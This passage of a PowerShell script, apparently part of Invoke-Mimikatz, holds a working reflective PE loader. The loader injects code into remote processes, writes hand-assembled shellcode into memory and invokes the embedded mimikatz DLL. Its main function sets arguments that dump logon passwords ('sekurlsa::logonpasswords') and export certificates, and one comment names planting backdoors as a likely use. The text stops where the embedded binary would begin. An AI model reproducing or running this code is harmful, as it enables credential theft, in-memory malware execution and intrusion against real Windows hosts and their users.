$ProcExitFunctionAddrTmp = $ProcExitFunctionAddr + #The following is the shellcode (Shellcode: ExitThread.asm): + #32bit shellcode + [Byte[]]$Shellcode1 = @(0xbb) + [Byte[]]$Shellcode2 = @(0xc6, 0x03, 0x01, 0x83, 0xec, 0x20, 0x83, 0xe4, 0xc0, 0xbb) + #64bit shellcode (Shellcode: ExitThread.asm) + if ($PtrSize -eq 8) + { + [Byte[]]$Shellcode1 = @(0x48, 0xbb) + [Byte[]]$Shellcode2 = @(0xc6, 0x03, 0x01, 0x48, 0x83, 0xec, 0x20, 0x66, 0x83, 0xe4, 0xc0, 0x48, 0xbb) + } + [Byte[]]$Shellcode3 = @(0xff, 0xd3) + $TotalSize = $Shellcode1.Length + $PtrSize + $Shellcode2.Length + $PtrSize + $Shellcode3.Length + + [IntPtr]$ExitThreadAddr = $Win32Functions.GetProcAddress.Invoke($Kernel32Handle, "ExitThread") + if ($ExitThreadAddr -eq [IntPtr]::Zero) + { + Throw "ExitThread address not found" + } + + $Success = $Win32Functions.VirtualProtect.Invoke($ProcExitFunctionAddr, [UInt32]$TotalSize, [UInt32]$Win32Constants.PAGE_EXECUTE_READWRITE, [Ref]$OldProtectFlag) + if ($Success -eq $false) + { + Throw "Call to VirtualProtect failed" + } + + #Make copy of original ExitProcess bytes + $ExitProcessOrigBytesPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TotalSize) + $Win32Functions.memcpy.Invoke($ExitProcessOrigBytesPtr, $ProcExitFunctionAddr, [UInt64]$TotalSize) | Out-Null + $ReturnArray += ,($ProcExitFunctionAddr, $ExitProcessOrigBytesPtr, $TotalSize) + + #Write the ExitThread shellcode to memory. This shellcode will write 0x01 to ExeDoneBytePtr address (so PS knows the EXE is done), then + # call ExitThread + Write-BytesToMemory -Bytes $Shellcode1 -MemoryAddress $ProcExitFunctionAddrTmp + $ProcExitFunctionAddrTmp = Add-SignedIntAsUnsigned $ProcExitFunctionAddrTmp ($Shellcode1.Length) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($ExeDoneBytePtr, $ProcExitFunctionAddrTmp, $false) + $ProcExitFunctionAddrTmp = Add-SignedIntAsUnsigned $ProcExitFunctionAddrTmp $PtrSize + Write-BytesToMemory -Bytes $Shellcode2 -MemoryAddress $ProcExitFunctionAddrTmp + $ProcExitFunctionAddrTmp = Add-SignedIntAsUnsigned $ProcExitFunctionAddrTmp ($Shellcode2.Length) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($ExitThreadAddr, $ProcExitFunctionAddrTmp, $false) + $ProcExitFunctionAddrTmp = Add-SignedIntAsUnsigned $ProcExitFunctionAddrTmp $PtrSize + Write-BytesToMemory -Bytes $Shellcode3 -MemoryAddress $ProcExitFunctionAddrTmp + + $Win32Functions.VirtualProtect.Invoke($ProcExitFunctionAddr, [UInt32]$TotalSize, [UInt32]$OldProtectFlag, [Ref]$OldProtectFlag) | Out-Null + } + ################################################# + + Write-Output $ReturnArray + } + + + #This function takes an array of arrays, the inner array of format @($DestAddr, $SourceAddr, $Count) + # It copies Count bytes from Source to Destination. + Function Copy-ArrayOfMemAddresses + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [Array[]] + $CopyInfo, + + [Parameter(Position = 1, Mandatory = $true)] + [System.Object] + $Win32Functions, + + [Parameter(Position = 2, Mandatory = $true)] + [System.Object] + $Win32Constants + ) + + [UInt32]$OldProtectFlag = 0 + foreach ($Info in $CopyInfo) + { + $Success = $Win32Functions.VirtualProtect.Invoke($Info[0], [UInt32]$Info[2], [UInt32]$Win32Constants.PAGE_EXECUTE_READWRITE, [Ref]$OldProtectFlag) + if ($Success -eq $false) + { + Throw "Call to VirtualProtect failed" + } + + $Win32Functions.memcpy.Invoke($Info[0], $Info[1], [UInt64]$Info[2]) | Out-Null + + $Win32Functions.VirtualProtect.Invoke($Info[0], [UInt32]$Info[2], [UInt32]$OldProtectFlag, [Ref]$OldProtectFlag) | Out-Null + } + } + + + ##################################### + ########## FUNCTIONS ########### + ##################################### + Function Get-MemoryProcAddress + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [IntPtr] + $PEHandle, + + [Parameter(Position = 1, Mandatory = $true)] + [String] + $FunctionName + ) + + $Win32Types = Get-Win32Types + $Win32Constants = Get-Win32Constants + $PEInfo = Get-PEDetailedInfo -PEHandle $PEHandle -Win32Types $Win32Types -Win32Constants $Win32Constants + + #Get the export table + if ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ExportTable.Size -eq 0) + { + return [IntPtr]::Zero + } + $ExportTablePtr = Add-SignedIntAsUnsigned ($PEHandle) ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ExportTable.VirtualAddress) + $ExportTable = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ExportTablePtr, [Type]$Win32Types.IMAGE_EXPORT_DIRECTORY) + + for ($i = 0; $i -lt $ExportTable.NumberOfNames; $i++) + { + #AddressOfNames is an array of pointers to strings of the names of the functions exported + $NameOffsetPtr = Add-SignedIntAsUnsigned ($PEHandle) ($ExportTable.AddressOfNames + ($i * [System.Runtime.InteropServices.Marshal]::SizeOf([Type][UInt32]))) + $NamePtr = Add-SignedIntAsUnsigned ($PEHandle) ([System.Runtime.InteropServices.Marshal]::PtrToStructure($NameOffsetPtr, [Type][UInt32])) + $Name = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($NamePtr) + + if ($Name -ceq $FunctionName) + { + #AddressOfNameOrdinals is a table which contains points to a WORD which is the index in to AddressOfFunctions + # which contains the offset of the function in to the DLL + $OrdinalPtr = Add-SignedIntAsUnsigned ($PEHandle) ($ExportTable.AddressOfNameOrdinals + ($i * [System.Runtime.InteropServices.Marshal]::SizeOf([Type][UInt16]))) + $FuncIndex = [System.Runtime.InteropServices.Marshal]::PtrToStructure($OrdinalPtr, [Type][UInt16]) + $FuncOffsetAddr = Add-SignedIntAsUnsigned ($PEHandle) ($ExportTable.AddressOfFunctions + ($FuncIndex * [System.Runtime.InteropServices.Marshal]::SizeOf([Type][UInt32]))) + $FuncOffset = [System.Runtime.InteropServices.Marshal]::PtrToStructure($FuncOffsetAddr, [Type][UInt32]) + return Add-SignedIntAsUnsigned ($PEHandle) ($FuncOffset) + } + } + + return [IntPtr]::Zero + } + + + Function Invoke-MemoryLoadLibrary + { + Param( + [Parameter( Position = 0, Mandatory = $true )] + [Byte[]] + $PEBytes, + + [Parameter(Position = 1, Mandatory = $false)] + [String] + $ExeArgs, + + [Parameter(Position = 2, Mandatory = $false)] + [IntPtr] + $RemoteProcHandle + ) + + $PtrSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) + + #Get Win32 constants and functions + $Win32Constants = Get-Win32Constants + $Win32Functions = Get-Win32Functions + $Win32Types = Get-Win32Types + + $RemoteLoading = $false + if (($RemoteProcHandle -ne $null) -and ($RemoteProcHandle -ne [IntPtr]::Zero)) + { + $RemoteLoading = $true + } + + #Get basic PE information + Write-Verbose "Getting basic PE information from the file" + $PEInfo = Get-PEBasicInfo -PEBytes $PEBytes -Win32Types $Win32Types + $OriginalImageBase = $PEInfo.OriginalImageBase + $NXCompatible = $true + if (([Int] $PEInfo.DllCharacteristics -band $Win32Constants.IMAGE_DLLCHARACTERISTICS_NX_COMPAT) -ne $Win32Constants.IMAGE_DLLCHARACTERISTICS_NX_COMPAT) + { + Write-Warning "PE is not compatible with DEP, might cause issues" -WarningAction Continue + $NXCompatible = $false + } + + + #Verify that the PE and the current process are the same bits (32bit or 64bit) + $Process64Bit = $true + if ($RemoteLoading -eq $true) + { + $Kernel32Handle = $Win32Functions.GetModuleHandle.Invoke("kernel32.dll") + $Result = $Win32Functions.GetProcAddress.Invoke($Kernel32Handle, "IsWow64Process") + if ($Result -eq [IntPtr]::Zero) + { + Throw "Couldn't locate IsWow64Process function to determine if target process is 32bit or 64bit" + } + + [Bool]$Wow64Process = $false + $Success = $Win32Functions.IsWow64Process.Invoke($RemoteProcHandle, [Ref]$Wow64Process) + if ($Success -eq $false) + { + Throw "Call to IsWow64Process failed" + } + + if (($Wow64Process -eq $true) -or (($Wow64Process -eq $false) -and ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) -eq 4))) + { + $Process64Bit = $false + } + + #PowerShell needs to be same bit as the PE being loaded for IntPtr to work correctly + $PowerShell64Bit = $true + if ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) -ne 8) + { + $PowerShell64Bit = $false + } + if ($PowerShell64Bit -ne $Process64Bit) + { + throw "PowerShell must be same architecture (x86/x64) as PE being loaded and remote process" + } + } + else + { + if ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) -ne 8) + { + $Process64Bit = $false + } + } + if ($Process64Bit -ne $PEInfo.PE64Bit) + { + Throw "PE platform doesn't match the architecture of the process it is being loaded in (32/64bit)" + } + + + #Allocate memory and write the PE to memory. If the PE supports ASLR, allocate to a random memory address + Write-Verbose "Allocating memory for the PE and write its headers to memory" + + [IntPtr]$LoadAddr = [IntPtr]::Zero + if (([Int] $PEInfo.DllCharacteristics -band $Win32Constants.IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE) -ne $Win32Constants.IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE) + { + Write-Warning "PE file being reflectively loaded is not ASLR compatible. If the loading fails, try restarting PowerShell and trying again" -WarningAction Continue + [IntPtr]$LoadAddr = $OriginalImageBase + } + + $PEHandle = [IntPtr]::Zero #This is where the PE is allocated in PowerShell + $EffectivePEHandle = [IntPtr]::Zero #This is the address the PE will be loaded to. If it is loaded in PowerShell, this equals $PEHandle. If it is loaded in a remote process, this is the address in the remote process. + if ($RemoteLoading -eq $true) + { + #Allocate space in the remote process, and also allocate space in PowerShell. The PE will be setup in PowerShell and copied to the remote process when it is setup + $PEHandle = $Win32Functions.VirtualAlloc.Invoke([IntPtr]::Zero, [UIntPtr]$PEInfo.SizeOfImage, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE) + + #todo, error handling needs to delete this memory if an error happens along the way + $EffectivePEHandle = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, $LoadAddr, [UIntPtr]$PEInfo.SizeOfImage, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_EXECUTE_READWRITE) + if ($EffectivePEHandle -eq [IntPtr]::Zero) + { + Throw "Unable to allocate memory in the remote process. If the PE being loaded doesn't support ASLR, it could be that the requested base address of the PE is already in use" + } + } + else + { + if ($NXCompatible -eq $true) + { + $PEHandle = $Win32Functions.VirtualAlloc.Invoke($LoadAddr, [UIntPtr]$PEInfo.SizeOfImage, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE) + } + else + { + $PEHandle = $Win32Functions.VirtualAlloc.Invoke($LoadAddr, [UIntPtr]$PEInfo.SizeOfImage, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_EXECUTE_READWRITE) + } + $EffectivePEHandle = $PEHandle + } + + [IntPtr]$PEEndAddress = Add-SignedIntAsUnsigned ($PEHandle) ([Int64]$PEInfo.SizeOfImage) + if ($PEHandle -eq [IntPtr]::Zero) + { + Throw "VirtualAlloc failed to allocate memory for PE. If PE is not ASLR compatible, try running the script in a new PowerShell process (the new PowerShell process will have a different memory layout, so the address the PE wants might be free)." + } + [System.Runtime.InteropServices.Marshal]::Copy($PEBytes, 0, $PEHandle, $PEInfo.SizeOfHeaders) | Out-Null + + + #Now that the PE is in memory, get more detailed information about it + Write-Verbose "Getting detailed PE information from the headers loaded in memory" + $PEInfo = Get-PEDetailedInfo -PEHandle $PEHandle -Win32Types $Win32Types -Win32Constants $Win32Constants + $PEInfo | Add-Member -MemberType NoteProperty -Name EndAddress -Value $PEEndAddress + $PEInfo | Add-Member -MemberType NoteProperty -Name EffectivePEHandle -Value $EffectivePEHandle + Write-Verbose "StartAddress: $PEHandle EndAddress: $PEEndAddress" + + + #Copy each section from the PE in to memory + Write-Verbose "Copy PE sections in to memory" + Copy-Sections -PEBytes $PEBytes -PEInfo $PEInfo -Win32Functions $Win32Functions -Win32Types $Win32Types + + + #Update the memory addresses hardcoded in to the PE based on the memory address the PE was expecting to be loaded to vs where it was actually loaded + Write-Verbose "Update memory addresses based on where the PE was actually loaded in memory" + Update-MemoryAddresses -PEInfo $PEInfo -OriginalImageBase $OriginalImageBase -Win32Constants $Win32Constants -Win32Types $Win32Types + + + #The PE we are in-memory loading has DLLs it needs, import those DLLs for it + Write-Verbose "Import DLL's needed by the PE we are loading" + if ($RemoteLoading -eq $true) + { + Import-DllImports -PEInfo $PEInfo -Win32Functions $Win32Functions -Win32Types $Win32Types -Win32Constants $Win32Constants -RemoteProcHandle $RemoteProcHandle + } + else + { + Import-DllImports -PEInfo $PEInfo -Win32Functions $Win32Functions -Win32Types $Win32Types -Win32Constants $Win32Constants + } + + + #Update the memory protection flags for all the memory just allocated + if ($RemoteLoading -eq $false) + { + if ($NXCompatible -eq $true) + { + Write-Verbose "Update memory protection flags" + Update-MemoryProtectionFlags -PEInfo $PEInfo -Win32Functions $Win32Functions -Win32Constants $Win32Constants -Win32Types $Win32Types + } + else + { + Write-Verbose "PE being reflectively loaded is not compatible with NX memory, keeping memory as read write execute" + } + } + else + { + Write-Verbose "PE being loaded in to a remote process, not adjusting memory permissions" + } + + + #If remote loading, copy the DLL in to remote process memory + if ($RemoteLoading -eq $true) + { + [UInt32]$NumBytesWritten = 0 + $Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $EffectivePEHandle, $PEHandle, [UIntPtr]($PEInfo.SizeOfImage), [Ref]$NumBytesWritten) + if ($Success -eq $false) + { + Throw "Unable to write shellcode to remote process memory." + } + } + + + #Call the entry point, if this is a DLL the entrypoint is the DllMain function, if it is an EXE it is the Main function + if ($PEInfo.FileType -ieq "DLL") + { + if ($RemoteLoading -eq $false) + { + Write-Verbose "Calling dllmain so the DLL knows it has been loaded" + $DllMainPtr = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint) + $DllMainDelegate = Get-DelegateType @([IntPtr], [UInt32], [IntPtr]) ([Bool]) + $DllMain = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($DllMainPtr, $DllMainDelegate) + + $DllMain.Invoke($PEInfo.PEHandle, 1, [IntPtr]::Zero) | Out-Null + } + else + { + $DllMainPtr = Add-SignedIntAsUnsigned ($EffectivePEHandle) ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint) + + if ($PEInfo.PE64Bit -eq $true) + { + #Shellcode: CallDllMain.asm + $CallDllMainSC1 = @(0x53, 0x48, 0x89, 0xe3, 0x66, 0x83, 0xe4, 0x00, 0x48, 0xb9) + $CallDllMainSC2 = @(0xba, 0x01, 0x00, 0x00, 0x00, 0x41, 0xb8, 0x00, 0x00, 0x00, 0x00, 0x48, 0xb8) + $CallDllMainSC3 = @(0xff, 0xd0, 0x48, 0x89, 0xdc, 0x5b, 0xc3) + } + else + { + #Shellcode: CallDllMain.asm + $CallDllMainSC1 = @(0x53, 0x89, 0xe3, 0x83, 0xe4, 0xf0, 0xb9) + $CallDllMainSC2 = @(0xba, 0x01, 0x00, 0x00, 0x00, 0xb8, 0x00, 0x00, 0x00, 0x00, 0x50, 0x52, 0x51, 0xb8) + $CallDllMainSC3 = @(0xff, 0xd0, 0x89, 0xdc, 0x5b, 0xc3) + } + $SCLength = $CallDllMainSC1.Length + $CallDllMainSC2.Length + $CallDllMainSC3.Length + ($PtrSize * 2) + $SCPSMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($SCLength) + $SCPSMemOriginal = $SCPSMem + + Write-BytesToMemory -Bytes $CallDllMainSC1 -MemoryAddress $SCPSMem + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($CallDllMainSC1.Length) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($EffectivePEHandle, $SCPSMem, $false) + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) + Write-BytesToMemory -Bytes $CallDllMainSC2 -MemoryAddress $SCPSMem + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($CallDllMainSC2.Length) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($DllMainPtr, $SCPSMem, $false) + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) + Write-BytesToMemory -Bytes $CallDllMainSC3 -MemoryAddress $SCPSMem + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($CallDllMainSC3.Length) + + $RSCAddr = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, [UIntPtr][UInt64]$SCLength, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_EXECUTE_READWRITE) + if ($RSCAddr -eq [IntPtr]::Zero) + { + Throw "Unable to allocate memory in the remote process for shellcode" + } + + $Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $RSCAddr, $SCPSMemOriginal, [UIntPtr][UInt64]$SCLength, [Ref]$NumBytesWritten) + if (($Success -eq $false) -or ([UInt64]$NumBytesWritten -ne [UInt64]$SCLength)) + { + Throw "Unable to write shellcode to remote process memory." + } + + $RThreadHandle = Invoke-CreateRemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $RSCAddr -Win32Functions $Win32Functions + $Result = $Win32Functions.WaitForSingleObject.Invoke($RThreadHandle, 20000) + if ($Result -ne 0) + { + Throw "Call to CreateRemoteThread to call GetProcAddress failed." + } + + $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $RSCAddr, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null + } + } + elseif ($PEInfo.FileType -ieq "EXE") + { + #Overwrite GetCommandLine and ExitProcess so we can provide our own arguments to the EXE and prevent it from killing the PS process + [IntPtr]$ExeDoneBytePtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(1) + [System.Runtime.InteropServices.Marshal]::WriteByte($ExeDoneBytePtr, 0, 0x00) + $OverwrittenMemInfo = Update-ExeFunctions -PEInfo $PEInfo -Win32Functions $Win32Functions -Win32Constants $Win32Constants -ExeArguments $ExeArgs -ExeDoneBytePtr $ExeDoneBytePtr + + #If this is an EXE, call the entry point in a new thread. We have overwritten the ExitProcess function to instead ExitThread + # This way the reflectively loaded EXE won't kill the powershell process when it exits, it will just kill its own thread. + [IntPtr]$ExeMainPtr = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint) + Write-Verbose "Call EXE Main function. Address: $ExeMainPtr. Creating thread for the EXE to run in." + + $Win32Functions.CreateThread.Invoke([IntPtr]::Zero, [IntPtr]::Zero, $ExeMainPtr, [IntPtr]::Zero, ([UInt32]0), [Ref]([UInt32]0)) | Out-Null + + while($true) + { + [Byte]$ThreadDone = [System.Runtime.InteropServices.Marshal]::ReadByte($ExeDoneBytePtr, 0) + if ($ThreadDone -eq 1) + { + Copy-ArrayOfMemAddresses -CopyInfo $OverwrittenMemInfo -Win32Functions $Win32Functions -Win32Constants $Win32Constants + Write-Verbose "EXE thread has completed." + break + } + else + { + Start-Sleep -Seconds 1 + } + } + } + + return @($PEInfo.PEHandle, $EffectivePEHandle) + } + + + Function Invoke-MemoryFreeLibrary + { + Param( + [Parameter(Position=0, Mandatory=$true)] + [IntPtr] + $PEHandle + ) + + #Get Win32 constants and functions + $Win32Constants = Get-Win32Constants + $Win32Functions = Get-Win32Functions + $Win32Types = Get-Win32Types + + $PEInfo = Get-PEDetailedInfo -PEHandle $PEHandle -Win32Types $Win32Types -Win32Constants $Win32Constants + + #Call FreeLibrary for all the imports of the DLL + if ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ImportTable.Size -gt 0) + { + [IntPtr]$ImportDescriptorPtr = Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ImportTable.VirtualAddress) + + while ($true) + { + $ImportDescriptor = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ImportDescriptorPtr, [Type]$Win32Types.IMAGE_IMPORT_DESCRIPTOR) + + #If the structure is null, it signals that this is the end of the array + if ($ImportDescriptor.Characteristics -eq 0 ` + -and $ImportDescriptor.FirstThunk -eq 0 ` + -and $ImportDescriptor.ForwarderChain -eq 0 ` + -and $ImportDescriptor.Name -eq 0 ` + -and $ImportDescriptor.TimeDateStamp -eq 0) + { + Write-Verbose "Done unloading the libraries needed by the PE" + break + } + + $ImportDllPath = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi((Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$ImportDescriptor.Name))) + $ImportDllHandle = $Win32Functions.GetModuleHandle.Invoke($ImportDllPath) + + if ($ImportDllHandle -eq $null) + { + Write-Warning "Error getting DLL handle in MemoryFreeLibrary, DLLName: $ImportDllPath. Continuing anyways" -WarningAction Continue + } + + $Success = $Win32Functions.FreeLibrary.Invoke($ImportDllHandle) + if ($Success -eq $false) + { + Write-Warning "Unable to free library: $ImportDllPath. Continuing anyways." -WarningAction Continue + } + + $ImportDescriptorPtr = Add-SignedIntAsUnsigned ($ImportDescriptorPtr) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_IMPORT_DESCRIPTOR)) + } + } + + #Call DllMain with process detach + Write-Verbose "Calling dllmain so the DLL knows it is being unloaded" + $DllMainPtr = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint) + $DllMainDelegate = Get-DelegateType @([IntPtr], [UInt32], [IntPtr]) ([Bool]) + $DllMain = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($DllMainPtr, $DllMainDelegate) + + $DllMain.Invoke($PEInfo.PEHandle, 0, [IntPtr]::Zero) | Out-Null + + + $Success = $Win32Functions.VirtualFree.Invoke($PEHandle, [UInt64]0, $Win32Constants.MEM_RELEASE) + if ($Success -eq $false) + { + Write-Warning "Unable to call VirtualFree on the PE's memory. Continuing anyways." -WarningAction Continue + } + } + + + Function Main + { + $Win32Functions = Get-Win32Functions + $Win32Types = Get-Win32Types + $Win32Constants = Get-Win32Constants + + $RemoteProcHandle = [IntPtr]::Zero + + #If a remote process to inject in to is specified, get a handle to it + if (($ProcId -ne $null) -and ($ProcId -ne 0) -and ($ProcName -ne $null) -and ($ProcName -ne "")) + { + Throw "Can't supply a ProcId and ProcName, choose one or the other" + } + elseif ($ProcName -ne $null -and $ProcName -ne "") + { + $Processes = @(Get-Process -Name $ProcName -ErrorAction SilentlyContinue) + if ($Processes.Count -eq 0) + { + Throw "Can't find process $ProcName" + } + elseif ($Processes.Count -gt 1) + { + $ProcInfo = Get-Process | where { $_.Name -eq $ProcName } | Select-Object ProcessName, Id, SessionId + Write-Output $ProcInfo + Throw "More than one instance of $ProcName found, please specify the process ID to inject in to." + } + else + { + $ProcId = $Processes[0].ID + } + } + + #Just realized that PowerShell launches with SeDebugPrivilege for some reason.. So this isn't needed. Keeping it around just incase it is needed in the future. + #If the script isn't running in the same Windows logon session as the target, get SeDebugPrivilege +# if ((Get-Process -Id $PID).SessionId -ne (Get-Process -Id $ProcId).SessionId) +# { +# Write-Verbose "Getting SeDebugPrivilege" +# Enable-SeDebugPrivilege -Win32Functions $Win32Functions -Win32Types $Win32Types -Win32Constants $Win32Constants +# } + + if (($ProcId -ne $null) -and ($ProcId -ne 0)) + { + $RemoteProcHandle = $Win32Functions.OpenProcess.Invoke(0x001F0FFF, $false, $ProcId) + if ($RemoteProcHandle -eq [IntPtr]::Zero) + { + Throw "Couldn't obtain the handle for process ID: $ProcId" + } + + Write-Verbose "Got the handle for the remote process to inject in to" + } + + + #Load the PE reflectively + Write-Verbose "Calling Invoke-MemoryLoadLibrary" + + try + { + $Processors = Get-WmiObject -Class Win32_Processor + } + catch + { + throw ($_.Exception) + } + + if ($Processors -is [array]) + { + $Processor = $Processors[0] + } else { + $Processor = $Processors + } + + if ( ( $Processor.AddressWidth) -ne (([System.IntPtr]::Size)*8) ) + { + Write-Verbose ( "Architecture: " + $Processor.AddressWidth + " Process: " + ([System.IntPtr]::Size * 8)) + Write-Error "PowerShell architecture (32bit/64bit) doesn't match OS architecture. 64bit PS must be used on a 64bit OS." -ErrorAction Stop + } + + #Determine whether or not to use 32bit or 64bit bytes + if ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) -eq 8) + { + [Byte[]]$PEBytes = [Byte[]][Convert]::FromBase64String($PEBytes64) + } + else + { + [Byte[]]$PEBytes = [Byte[]][Convert]::FromBase64String($PEBytes32) + } + $PEBytes[0] = 0 + $PEBytes[1] = 0 + $PEHandle = [IntPtr]::Zero + if ($RemoteProcHandle -eq [IntPtr]::Zero) + { + $PELoadedInfo = Invoke-MemoryLoadLibrary -PEBytes $PEBytes -ExeArgs $ExeArgs + } + else + { + $PELoadedInfo = Invoke-MemoryLoadLibrary -PEBytes $PEBytes -ExeArgs $ExeArgs -RemoteProcHandle $RemoteProcHandle + } + if ($PELoadedInfo -eq [IntPtr]::Zero) + { + Throw "Unable to load PE, handle returned is NULL" + } + + $PEHandle = $PELoadedInfo[0] + $RemotePEHandle = $PELoadedInfo[1] #only matters if you loaded in to a remote process + + + #Check if EXE or DLL. If EXE, the entry point was already called and we can now return. If DLL, call user function. + $PEInfo = Get-PEDetailedInfo -PEHandle $PEHandle -Win32Types $Win32Types -Win32Constants $Win32Constants + if (($PEInfo.FileType -ieq "DLL") -and ($RemoteProcHandle -eq [IntPtr]::Zero)) + { + ######################################### + ### YOUR CODE GOES HERE + ######################################### + Write-Verbose "Calling function with WString return type" + [IntPtr]$WStringFuncAddr = Get-MemoryProcAddress -PEHandle $PEHandle -FunctionName "powershell_reflective_mimikatz" + if ($WStringFuncAddr -eq [IntPtr]::Zero) + { + Throw "Couldn't find function address." + } + $WStringFuncDelegate = Get-DelegateType @([IntPtr]) ([IntPtr]) + $WStringFunc = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WStringFuncAddr, $WStringFuncDelegate) + $WStringInput = [System.Runtime.InteropServices.Marshal]::StringToHGlobalUni($ExeArgs) + [IntPtr]$OutputPtr = $WStringFunc.Invoke($WStringInput) + [System.Runtime.InteropServices.Marshal]::FreeHGlobal($WStringInput) + if ($OutputPtr -eq [IntPtr]::Zero) + { + Throw "Unable to get output, Output Ptr is NULL" + } + else + { + $Output = [System.Runtime.InteropServices.Marshal]::PtrToStringUni($OutputPtr) + Write-Output $Output + $Win32Functions.LocalFree.Invoke($OutputPtr); + } + ######################################### + ### END OF YOUR CODE + ######################################### + } + #For remote DLL injection, call a void function which takes no parameters + elseif (($PEInfo.FileType -ieq "DLL") -and ($RemoteProcHandle -ne [IntPtr]::Zero)) + { + $VoidFuncAddr = Get-MemoryProcAddress -PEHandle $PEHandle -FunctionName "VoidFunc" + if (($VoidFuncAddr -eq $null) -or ($VoidFuncAddr -eq [IntPtr]::Zero)) + { + Throw "VoidFunc couldn't be found in the DLL" + } + + $VoidFuncAddr = Sub-SignedIntAsUnsigned $VoidFuncAddr $PEHandle + $VoidFuncAddr = Add-SignedIntAsUnsigned $VoidFuncAddr $RemotePEHandle + + #Create the remote thread, don't wait for it to return.. This will probably mainly be used to plant backdoors + $RThreadHandle = Invoke-CreateRemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $VoidFuncAddr -Win32Functions $Win32Functions + } + + #Don't free a library if it is injected in a remote process + if ($RemoteProcHandle -eq [IntPtr]::Zero) + { + Invoke-MemoryFreeLibrary -PEHandle $PEHandle + } + else + { + #Just delete the memory allocated in PowerShell to build the PE before injecting to remote process + $Success = $Win32Functions.VirtualFree.Invoke($PEHandle, [UInt64]0, $Win32Constants.MEM_RELEASE) + if ($Success -eq $false) + { + Write-Warning "Unable to call VirtualFree on the PE's memory. Continuing anyways." -WarningAction Continue + } + } + + Write-Verbose "Done!" + } + + Main +} + +#Main function to either run the script locally or remotely +Function Main +{ + if (($PSCmdlet.MyInvocation.BoundParameters["Debug"] -ne $null) -and $PSCmdlet.MyInvocation.BoundParameters["Debug"].IsPresent) + { + $DebugPreference = "Continue" + } + + Write-Verbose "PowerShell ProcessID: $PID" + + + if ($PsCmdlet.ParameterSetName -ieq "DumpCreds") + { + $ExeArgs = "sekurlsa::logonpasswords exit" + } + elseif ($PsCmdlet.ParameterSetName -ieq "DumpCerts") + { + $ExeArgs = "crypto::cng crypto::capi `"crypto::certificates /export`" `"crypto::certificates /export /systemstore:CERT_SYSTEM_STORE_LOCAL_MACHINE`" exit" + } + else + { + $ExeArgs = $Command + } + + [System.IO.Directory]::SetCurrentDirectory($pwd) + + # SHA256 hash: 1e67476281c1ec1cf40e17d7fc28a3ab3250b474ef41cb10a72130990f0be6a0 + # https://www.virustotal.com/en/file/1e67476281c1ec1cf40e17d7fc28a3ab3250b474ef41cb10a72130990f0be6a0/analysis/1450152636/ + $PEBytes64 = 